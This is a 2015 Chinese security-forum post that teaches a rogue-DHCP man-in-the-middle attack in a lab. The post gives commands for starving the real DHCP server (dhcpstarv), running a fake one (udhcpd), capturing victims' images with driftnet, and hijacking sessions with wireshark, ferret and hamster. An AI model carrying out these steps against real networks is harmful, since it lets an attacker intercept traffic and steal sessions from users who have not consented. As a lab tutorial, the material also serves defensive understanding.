搜索
查看: 473|回复: 0

安全科普:流氓DHCP服务器内网攻击测试

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-8-16 12:15:36 | 显示全部楼层 |阅读模式

通常内网渗透都是基于ARP的攻击,但ARP攻击对内网的负担太重,很容易被发现。今天讲的是基于DHCP协议的攻击。

基于DHCP的攻击理解起来很简单,首先伪造Mac地址耗竭正常的DHCP服务器的IP地址,然后黑客用自己的主机伪造一个DHCP服务器,那么新连上内网的主机只能使用流氓DHCP服务器分配的IP,这样黑客的主机就变成了内网网关,可以借此控制内网中其他主机的网络流量。

攻击环境

操作系统:Kali linux

网关: 192.168.177.1

IP地址: 192.168.177.128

网段:192.168.177.1/24

[/url]

0×01 开启操作系统的路由转发

echo "1" >/proc/sys/net/ipv4/ip_forward

[url=http://image.3001.net/images/20150813/14394658426033.png!small]

0×02 攻击正常的dhcp服务器,耗光ip资源

dhcpstarv -i eth0 -e 192.168.177.128

[/url]

Kali默认没有安装dhcpstarv,也可以用yersinia代替

0×03 安装dhcp服务器udhcpd

# apt-get install udhcpd

然后修改一下配置文件

vim /etc/udhcpd.conf

[url=http://image.3001.net/images/20150813/14394661902060.png!small]

[/url]

0×04 启动DHCP服务器

service udhcpd start

[url=http://image.3001.net/images/20150813/14394662721473.png!small]

然后启动另一台Kali机当作目标靶机,由于正常的DHCP服务器已经没有可分配的IP资源,新的内网主机就会使用攻击者DHCP服务器分配的IP

[/url]

0×05 抓取目标靶机的图片
在攻击主机上开启driftnet

# driftnet -i eth0

在目标靶机打开百度图片

[url=http://image.3001.net/images/20150813/14394665321060.png!small]

在攻击者的服务器上就可以看到图像

[/url]

0×06 会话劫持

开启wireshark抓取流经本地网卡的数据包,由于其他的机器走的是攻击者主机的网卡,这也意味着wireshark可以抓取其他主机的数据包

[url=http://image.3001.net/images/20150813/14394666665472.png!small]

用ferret解析一下

# ferret -r demo.pcap

[/url]

会在本地生成一个名为hamster.txt的文件

[url=http://image.3001.net/images/20150813/14394667657147.png!small]

然后运行harmter,这会在主机开启1234端口

[/url]

配置一下火狐代理

[url=http://image.3001.net/images/20150813/14394668137700.png!small]

劫持成功

[url=http://image.3001.net/images/20150813/14394668291186.png!small][/url]


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表